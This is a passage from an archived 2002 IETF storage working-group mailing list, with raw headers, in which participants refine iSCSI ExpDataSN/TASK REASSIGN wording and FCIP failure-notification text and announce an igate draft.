all its data in PDUs with DataSN less than ExpDataSN.

The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target.

For other functions this field is reserved.
------_=_NextPart_001_01C24557.5236A760-- From owner-ips@ece.cmu.edu Fri Aug 16 19:52:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA04368 for ; Fri, 16 Aug 2002 19:52:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7GNI2u26390 for ips-outgoing; Fri, 16 Aug 2002 19:18:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7GNI1o26386 for ; Fri, 16 Aug 2002 19:18:01 -0400 (EDT) Received: from relcos2.cos.agilent.com (relcos2.cos.agilent.com [130.29.152.237]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 38CF7B8EC; Fri, 16 Aug 2002 17:18:00 -0600 (MDT) Received: from axcsbh6.cos.agilent.com (axcsbh6.cos.agilent.com [130.29.152.171]) by relcos2.cos.agilent.com (Postfix) with SMTP id 7753F456; Fri, 16 Aug 2002 17:17:25 -0600 (MDT) Received: from 130.29.152.171 by axcsbh6.cos.agilent.com (InterScan E-Mail VirusWall NT); Fri, 16 Aug 2002 17:18:00 -0600 Received: by axcsbh6.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 17:18:00 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D8ECA05@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI - ExpDataSN Date: Fri, 16 Aug 2002 17:17:58 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary="----=_NextPartTM-000-bf6d1515-1554-47e8-b91b-eb675362be1b" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------=_NextPartTM-000-bf6d1515-1554-47e8-b91b-eb675362be1b Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2457B.2860ED50" ------_=_NextPart_001_01C2457B.2860ED50 Content-Type: text/plain; charset="iso-8859-1" Julian, Looks good. For completeness, "The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN ^ not sure what that character was suppose to be less than ExpDataSN." should be "The target MAY also send no more Data-In PDUs if all data has been acknowledged." because ExpDataSN might be 0 and all the data was already acknowledged. If all the PDUs had DataSN less than ExpDataSN, then all the data was also acknowledged so this change covers both cases. Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 16, 2002 4:02 AM To: ips@ece.cmu.edu Subject: iSCSI - ExpDataSN Mallikarjun has expressed a lingering concern that we should allow the value 0 for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK). Please observe that we already allow the target to do this on its own and this change does not affect any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6 For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number. The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with Dat aSN less than ExpDataSN. The value of ExpDataSN MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target. For other functions this field is reserved. Please let me know what you think. Julo ------_=_NextPart_001_01C2457B.2860ED50 Content-Type: text/html; charset="iso-8859-1"
Julian,
 
Looks good.
 
For completeness, "The target MAY also  send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN
   ^ not sure what that character was suppose to be
less than ExpDataSN." should be
"The target MAY also send no more Data-In PDUs if all data has been acknowledged."
because ExpDataSN might be 0 and all the data was already acknowledged. If all the PDUs had DataSN less than ExpDataSN, then all the data was also acknowledged so this change covers both cases.
 
Pat

 
-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 16, 2002 4:02 AM
To: ips@ece.cmu.edu
Subject: iSCSI - ExpDataSN


Mallikarjun has expressed a lingering concern that we should allow the value 0
for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK).
Please observe that we already allow the target to do this on its own and this change does not affect
any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6

For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number.  The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also  send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN.

The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target.

For other functions this field is reserved.

Please let me know what you think.

Julo ------_=_NextPart_001_01C2457B.2860ED50-- ------=_NextPartTM-000-bf6d1515-1554-47e8-b91b-eb675362be1b-- From owner-ips@ece.cmu.edu Fri Aug 16 21:39:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06705 for ; Fri, 16 Aug 2002 21:39:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7H11vA29980 for ips-outgoing; Fri, 16 Aug 2002 21:01:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar2aa.compuserve.com (siaar2aa.compuserve.com [149.174.40.137]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7H11so29976 for ; Fri, 16 Aug 2002 21:01:54 -0400 (EDT) Received: (from mailgate@localhost) by siaar2aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id VAA15006 for ips@ece.cmu.edu; Fri, 16 Aug 2002 21:01:48 -0400 (EDT) Received: from compuserve.com (mid-tgn-npx-vty155.as.wcom.net [216.192.95.155]) by siaar2aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id VAA15000 for ; Fri, 16 Aug 2002 21:01:47 -0400 (EDT) Message-ID: <3D5DA059.E4A50186@compuserve.com> Date: Fri, 16 Aug 2002 20:01:13 -0500 From: Ralph Weber Reply-To: roweber@acm.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (WinNT; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: Security++ Changes Requested in FCIP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit -------- Original Message -------- Subject: Don Fraser & FCIP Date: Thu, 15 Aug 2002 06:07:34 -0500 From: Ralph Weber Reply-To: roweber@acm.org To: "Rodriguez, Elizabeth" ,David Black Elizabeth, David, Basically, what Don has found is two more places where he wants to add the wording of the form "... and the FC Entity SHALL be notified that a TCP connection has been terminated." The purpose of this wording is to provide for eventual notification of system administrators of FCIP Link problems (which is something that FC-BB-2 handles). The first is in 10.4.1 and concerns the failure of an IKE Phase 1. This change also requires the addition of a row to the table in Appendix h. The second is in Appendix D. Both of the sentences Don wants to change have been in FCIP since rev 9. Rev 10 was the subject of the second Working Group Last Call. Since you two are the ones most likely to get roasted for changing something that should have been reported during the Working Group Last Call, I think you should have the last word on whether these changes go now or get fixed as part of All IETF Last Call. Thanks. .Ralph From owner-ips@ece.cmu.edu Fri Aug 16 21:40:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA06774 for ; Fri, 16 Aug 2002 21:40:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7H1Lva00725 for ips-outgoing; Fri, 16 Aug 2002 21:21:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar2aa.compuserve.com (siaar2aa.compuserve.com [149.174.40.137]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7H1Lso00721 for ; Fri, 16 Aug 2002 21:21:55 -0400 (EDT) Received: (from mailgate@localhost) by siaar2aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id VAA19065 for ips@ece.cmu.edu; Fri, 16 Aug 2002 21:21:49 -0400 (EDT) Received: from compuserve.com (mid-tgn-ney-vty24.as.wcom.net [216.192.72.24]) by siaar2aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id VAA19050 for ; Fri, 16 Aug 2002 21:21:46 -0400 (EDT) Message-ID: <3D5DA4C1.699B7ABB@compuserve.com> Date: Fri, 16 Aug 2002 20:20:01 -0500 From: Ralph Weber Reply-To: roweber@acm.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (WinNT; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: Security++ Changes Requested in FCIP (resend) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Let's try this one again. I have received requests for two changes in FCIP that are not strictly part of the synchronization with the latest security draft. The changes are: 1 ----- In Appendix D (Example of synchronization recovery algorithm): Change from: If the retry counter exceeds 3 retries, resynchronization has failed and the TCP Connection is closed. to: If the retry counter exceeds 3 retries, resynchronization has failed and the TCP Connection is closed and the FC entity is notified with the reason for the closure. 2 ----- In 10.4.1 (FCIP Link Initialization Steps) Change from: If IKE Phase 1 fails, the FCIP Link initialization terminates. to: If IKE Phase 1 fails, the FCIP Link initialization terminates and the FC Entity is notified with the reason for the termination. The first change is standalone. Making the second change requires adding a row to the table in Appendix H because it adds an interaction between the FCIP Entity and the FC Entity. If these changes meet no objections or can be modified to be agreeable during then next week, they will be included in FCIP rev 12 along with the other changes needed to bring FCIP in to sync with the latest IPS security draft. Thanks. .Ralph From owner-ips@ece.cmu.edu Sat Aug 17 10:45:32 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27688 for ; Sat, 17 Aug 2002 10:45:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7HE3kW04397 for ips-outgoing; Sat, 17 Aug 2002 10:03:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7HE3io04393 for ; Sat, 17 Aug 2002 10:03:44 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7HE3ao0019290 for ; Sat, 17 Aug 2002 16:03:36 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7HE3a25102822 for ; Sat, 17 Aug 2002 16:03:37 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI - ExpDataSN X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 17 Aug 2002 17:03:22 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 17/08/2002 17:03:36, Serialize complete at 17/08/2002 17:03:36 Content-Type: multipart/alternative; boundary="=_alternative 004CFE19C2256C18_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 004CFE19C2256C18_= Content-Type: text/plain; charset="us-ascii" Thanks - to all - Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM ----- "KRUEGER,MARJORIE (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu 08/16/2002 10:01 PM To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - ExpDataSN If I understand correctly, this change will align the TASK REASSIGN task management function behavior with the SNACK request behavior wrt understanding that the value 0 means "send me all unacked data" - that makes sense to me. In the 3rd sentence, it's not clear to me what you mean by "a new data acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN or 0? The use of the word "new" leave the impression that the requestor is somehow resetting this number and offering a new one? Editorial comments: the 3rd sentence in the first paragraph seems to be missing a comma after "Bidirectional command"? And the word "acknowledgement" is mis-spelled in the hyphenated spot. I've corrected the text below: For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command, ExpDataSN will contain either a new data acknowledge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number. The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN. The value of ExpDataSN MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target. For other functions this field is reserved. ----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM ----- "KRUEGER,MARJORIE (HP-Roseville,ex1)" 08/17/2002 01:58 AM To: "'Mallikarjun C.'" cc: Julian Satran/Haifa/IBM@IBMIL Subject: RE: iSCSI - ExpDataSN > -----Original Message----- > From: Mallikarjun C. [mailto:cbm@rose.hp.com] > Sent: Friday, August 16, 2002 3:29 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1) > Cc: Julian Satran > Subject: Re: iSCSI - ExpDataSN > > > Julian, > > Looks good, thanks. A couple of quick notes. > > - I suggest "an updated data acknowledgement reference number" > to address Marjorie's comment. i.e. S/b "a new" W/ "an updated". That makes sense to me. ----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM ----- pat_thaler@agilent.com 08/17/2002 02:17 AM To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iSCSI - ExpDataSN Julian, Looks good. For completeness, "The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN ^ not sure what that character was suppose to be less than ExpDataSN." should be "The target MAY also send no more Data-In PDUs if all data has been acknowledged." because ExpDataSN might be 0 and all the data was already acknowledged. If all the PDUs had DataSN less than ExpDataSN, then all the data was also acknowledged so this change covers both cases. Pat -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 16, 2002 4:02 AM To: ips@ece.cmu.edu Subject: iSCSI - ExpDataSN Mallikarjun has expressed a lingering concern that we should allow the value 0 for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK). Please observe that we already allow the target to do this on its own and this change does not affect any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6 For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number. The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN. The value of ExpDataSN MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target. For other functions this field is reserved. Please let me know what you think. Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM ----- "Mallikarjun C." 08/17/2002 01:29 AM To: "KRUEGER,MARJORIE (HP-Roseville,ex1)" cc: Julian Satran/Haifa/IBM@IBMIL Subject: Re: iSCSI - ExpDataSN Julian, Looks good, thanks. A couple of quick notes. - I suggest "an updated data acknowledgement reference number" to address Marjorie's comment. i.e. S/b "a new" W/ "an updated". - The last sentence in the first para (that starts "The target MAY also send ") is unclear. I assume you're stating that target may redo the whole I/O if it wants to. If that's the case, I suggest dropping this sentence, since we cover that in 5.2.2. If that's not what you intended, please rephrase. Thanks. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Julian Satran'" ; Sent: Friday, August 16, 2002 12:01 PM Subject: RE: iSCSI - ExpDataSN > If I understand correctly, this change will align the TASK REASSIGN task > management function behavior with the SNACK request behavior wrt > understanding that the value 0 means "send me all unacked data" - that makes > sense to me. > > In the 3rd sentence, it's not clear to me what you mean by "a new data > acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN > or 0? The use of the word "new" leave the impression that the requestor is > somehow resetting this number and offering a new one? > > Editorial comments: the 3rd sentence in the first paragraph seems to be > missing a comma after "Bidirectional command"? And the word > "acknowledgement" is mis-spelled in the hyphenated spot. I've corrected the > text below: > > > For recovery purposes the iSCSI target and initiator maintain a data > acknowledgement reference number - the first input DataSN number > unacknowledged by the initiator. When issuing a new command this num-ber is > set to 0. If the function is TASK REASSIGN, which establishes a new > connection allegiance for a previously issued Read or Bidirec-tional > command, ExpDataSN will contain either a new data acknowledge-ment reference > number or the value 0 indicating that the data acknowledgement reference > number is unchanged. The initiator MUST discard any data PDUs from the > previous execution that it did not acknowledge and the target MUST transmit > all Data-in PDUs (if any) starting with the data acknowledgement reference > number. The number of retransmitted PDUs, may or may not be the same as the > original transmission depending on if there was a change in > MaxRecvDataSeg-mentLength in the reassignment. The target MAY also send no > more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than > ExpDataSN. > > The value of ExpDataSN MUST be either 0 or higher than the DataSN of the > last acknowledged Data-In PDU but not larger than DataSN+1 of the last > Data-IN PDU sent by the target. Any other value MUST be ignored by the > target. > > For other functions this field is reserved. > > > --=_alternative 004CFE19C2256C18_= Content-Type: text/html; charset="us-ascii"
Thanks - to all - Julo
----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM -----
"KRUEGER,MARJORIE (HP-Roseville,ex1)" <marjorie_krueger@hp.com>
Sent by: owner-ips@ece.cmu.edu

08/16/2002 10:01 PM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu
        cc:        
        Subject:        RE: iSCSI - ExpDataSN

       


If I understand correctly, this change will align the TASK REASSIGN task management function behavior with the SNACK request behavior wrt understanding that the value 0 means "send me all unacked data" - that makes sense to me.  
 
In the 3rd sentence, it's not clear to me what you mean by "a new data acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN or 0?  The use of the word "new" leave the impression that the requestor is somehow resetting this number and offering a new one?
 
Editorial comments: the 3rd sentence in the first paragraph seems to be missing a comma after "Bidirectional command"?  And the word "acknowledgement" is mis-spelled in the hyphenated spot.  I've corrected the text below:
 
For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command, ExpDataSN will contain either a new data acknowledge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number.  The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in Max! RecvDataSeg-mentLength in the reassignment. The target MAY also  send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than ExpDataSN.

The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target.

For other functions this field is reserved.
----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM -----
"KRUEGER,MARJORIE (HP-Roseville,ex1)" <marjorie_krueger@hp.com>

08/17/2002 01:58 AM

       
        To:        "'Mallikarjun C.'" <cbm@rose.hp.com>
        cc:        Julian Satran/Haifa/IBM@IBMIL
        Subject:        RE: iSCSI - ExpDataSN

       


> -----Original Message-----
> From: Mallikarjun C. [mailto:cbm@rose.hp.com]
> Sent: Friday, August 16, 2002 3:29 PM
> To: KRUEGER,MARJORIE (HP-Roseville,ex1)
> Cc: Julian Satran
> Subject: Re: iSCSI - ExpDataSN
>
>
> Julian,
>
> Looks good, thanks.  A couple of quick notes.
>
> - I suggest "an updated data acknowledgement reference number"
>    to address Marjorie's comment. i.e. S/b "a new" W/ "an updated".

That makes sense to me.
----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM -----
pat_thaler@agilent.com

08/17/2002 02:17 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu
        cc:        
        Subject:        RE: iSCSI - ExpDataSN

       


Julian,
 
Looks good.
 
For completeness, "The target MAY also  send no more Data-In ! PDUs if it sent all its data in PDUs with DataSN
   ^ not sure what that character was suppose to be
less than ExpDataSN." should be
"The target MAY also send no more Data-In PDUs if all data has been acknowledged."
because ExpDataSN might be 0 and all the data was already acknowledged. If all the PDUs had DataSN less than ExpDataSN, then all the data was also acknowledged so this change covers both cases.
 
Pat


-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 16, 2002 4:02 AM
To: ips@ece.cmu.edu
Subject: iSCSI - ExpDataSN

Mallikarjun has expressed a lingering concern that we should allow the value 0
for the field ExpDataSN in a TASK REASSIGN TM function to say "give me all unacked data" (as we do for SNACK).
Please observe that we already allow the target to do this on its own and this change does not affect
any recovery mechanism. To do it I am suggesting the following rephrasing of 9.5.6

For recovery purposes the iSCSI target and initiator maintain a data acknowledgement reference number - the first input DataSN number unacknowledged by the initiator. When issuing a new command this num-ber is set to 0. If the function is TASK REASSIGN, which establishes a new connection allegiance for a previously issued Read or Bidirec-tional command ExpDataSN will contain either a new data acknowldge-ment reference number or the value 0 indicating that the data acknowledgement reference number is unchanged. The initiator MUST discard any data PDUs from the previous execution that it did not acknowledge and the target MUST transmit all Data-in PDUs (if any) starting with the data acknowledgement reference number.  The number of retransmitted PDUs, may or may not be the same as the original transmission depending on if there was a change in MaxRecvDataSeg-mentLength in the reassignment. The target MAY also  send no more Data-In ! PDUs if it sent all its data in PD! Us with DataSN less than ExpDataSN.

The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the last acknowledged Data-In PDU but not larger than DataSN+1 of the last Data-IN PDU sent by the target. Any other value MUST be ignored by the target.

For other functions this field is reserved.

Please let me know what you think.

Julo
----- Forwarded by Julian Satran/Haifa/IBM on 08/17/2002 05:00 PM -----
"Mallikarjun C." <cbm@rose.hp.com>

08/17/2002 01:29 AM

       
        To:        "KRUEGER,MARJORIE (HP-Roseville,ex1)" <marjorie_krueger@hp.com>
        cc:        Julian Satran/Haifa/IBM@IBMIL
        Subject:        Re: iSCSI - ExpDataSN

       


Julian,

Looks good, thanks.  A couple of quick notes.

- I suggest "an updated data acknowledgement reference number"
  to address Marjorie's comment. i.e. S/b "a new" W/ "an updated".

- The last sentence in the first para (that starts "The target MAY also  send ")
  is unclear.  I assume you're stating that target may redo the whole I/O
  if it wants to.  If that's the case, I suggest dropping this sentence, since
  we cover that in 5.2.2.  If that's not what you intended, please rephrase.

Thanks.
--
Mallikarjun

Mallikarjun Chadalapaka
Networked Storage Architecture
Network Storage Solutions
Hewlett-Packard MS 5668
Roseville CA 95747
cbm@rose.hp.com

----- Original Message -----
From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" <marjorie_krueger@hp.com>
To: "'Julian Satran'" <Julian_Satran@il.ibm.com>; <ips@ece.cmu.edu>
Sent: Friday, August 16, 2002 12:01 PM
Subject: RE: iSCSI - ExpDataSN


> If I understand correctly, this change will align the TASK REASSIGN task
> management function behavior with the SNACK request behavior wrt
> understanding that the value 0 means "send me all unacked data" - that makes
> sense to me.  
>  
> In the 3rd sentence, it's not clear to me what you mean by "a new data
> acknowledgement ref. number" - shouldn't this be the requestor's ExpDataSN
> or 0?  The use of the word "new" leave the impression that the requestor is
> somehow resetting this number and offering a new one?
>  
> Editorial comments: the 3rd sentence in the first paragraph seems to be
> missing a comma after "Bidirectional command"?  And the word
> "acknowledgement" is mis-spelled in the hyphenated spot.  I've corrected the
> text below:
>  
>
> For recovery purposes the iSCSI target and initiator maintain a data
> acknowledgement reference number - the first input DataSN number
> unacknowledged by the initiator. When issuing a new command this num-ber is
> set to 0. If the function is TASK REASSIGN, which establishes a new
> connection allegiance for a previously issued Read or Bidirec-tional
> command, ExpDataSN will contain either a new data acknowledge-ment reference
> number or the value 0 indicating that the data acknowledgement reference
> number is unchanged. The initiator MUST discard any data PDUs from the
> previous execution that it did not acknowledge and the target MUST transmit
> all Data-in PDUs (if any) starting with the data acknowledgement reference
> number.  The number of retransmitted PDUs, may or may not be the same as the
> original transmission depending on if there was a change in
> MaxRecvDataSeg-mentLength in the reassignment. The target MAY also  send no
> more Data-In ! PDUs if it sent all its data in PDUs with DataSN less than
> ExpDataSN.
>
> The value of ExpDataSN  MUST be either 0 or higher than the DataSN of the
> last acknowledged Data-In PDU but not larger than DataSN+1 of the last
> Data-IN PDU sent by the target. Any other value MUST be ignored by the
> target.
>
> For other functions this field is reserved.
>
>
>


--=_alternative 004CFE19C2256C18_=-- From owner-ips@ece.cmu.edu Sat Aug 17 12:11:50 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA29435 for ; Sat, 17 Aug 2002 12:11:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7HFht207311 for ips-outgoing; Sat, 17 Aug 2002 11:43:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7HFhro07306 for ; Sat, 17 Aug 2002 11:43:53 -0400 (EDT) Received: from sponge.cisco.com (IDENT:mirapoint@sponge.cisco.com [64.101.128.87]) by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g7HFhkhK014209 for ; Sat, 17 Aug 2002 08:43:47 -0700 (PDT) Received: from DAPW2K3 (sjc-vpn2-661.cisco.com [10.21.114.149]) by sponge.cisco.com (Mirapoint) with SMTP id ABF40541; Sat, 17 Aug 2002 10:43:46 -0500 (CDT) From: "Dave Peterson" To: "Ips@Ece. Cmu. Edu" Subject: igate draft Date: Sat, 17 Aug 2002 10:43:46 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Howdy All, Until I complete a text version of this draft, a PDF of the igate draft can be found at ftp://ftpeng.cisco.com/dap/igate.pdf Please review and send comments. I'll be away from the laptop next week, as such will not be reading any emails for a while... Thanks...dap From owner-ips@ece.cmu.edu Mon Aug 19 07:29:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28157 for ; Mon, 19 Aug 2002 07:29:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7JAg4n06972 for ips-outgoing; Mon, 19 Aug 2002 06:42:04 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: 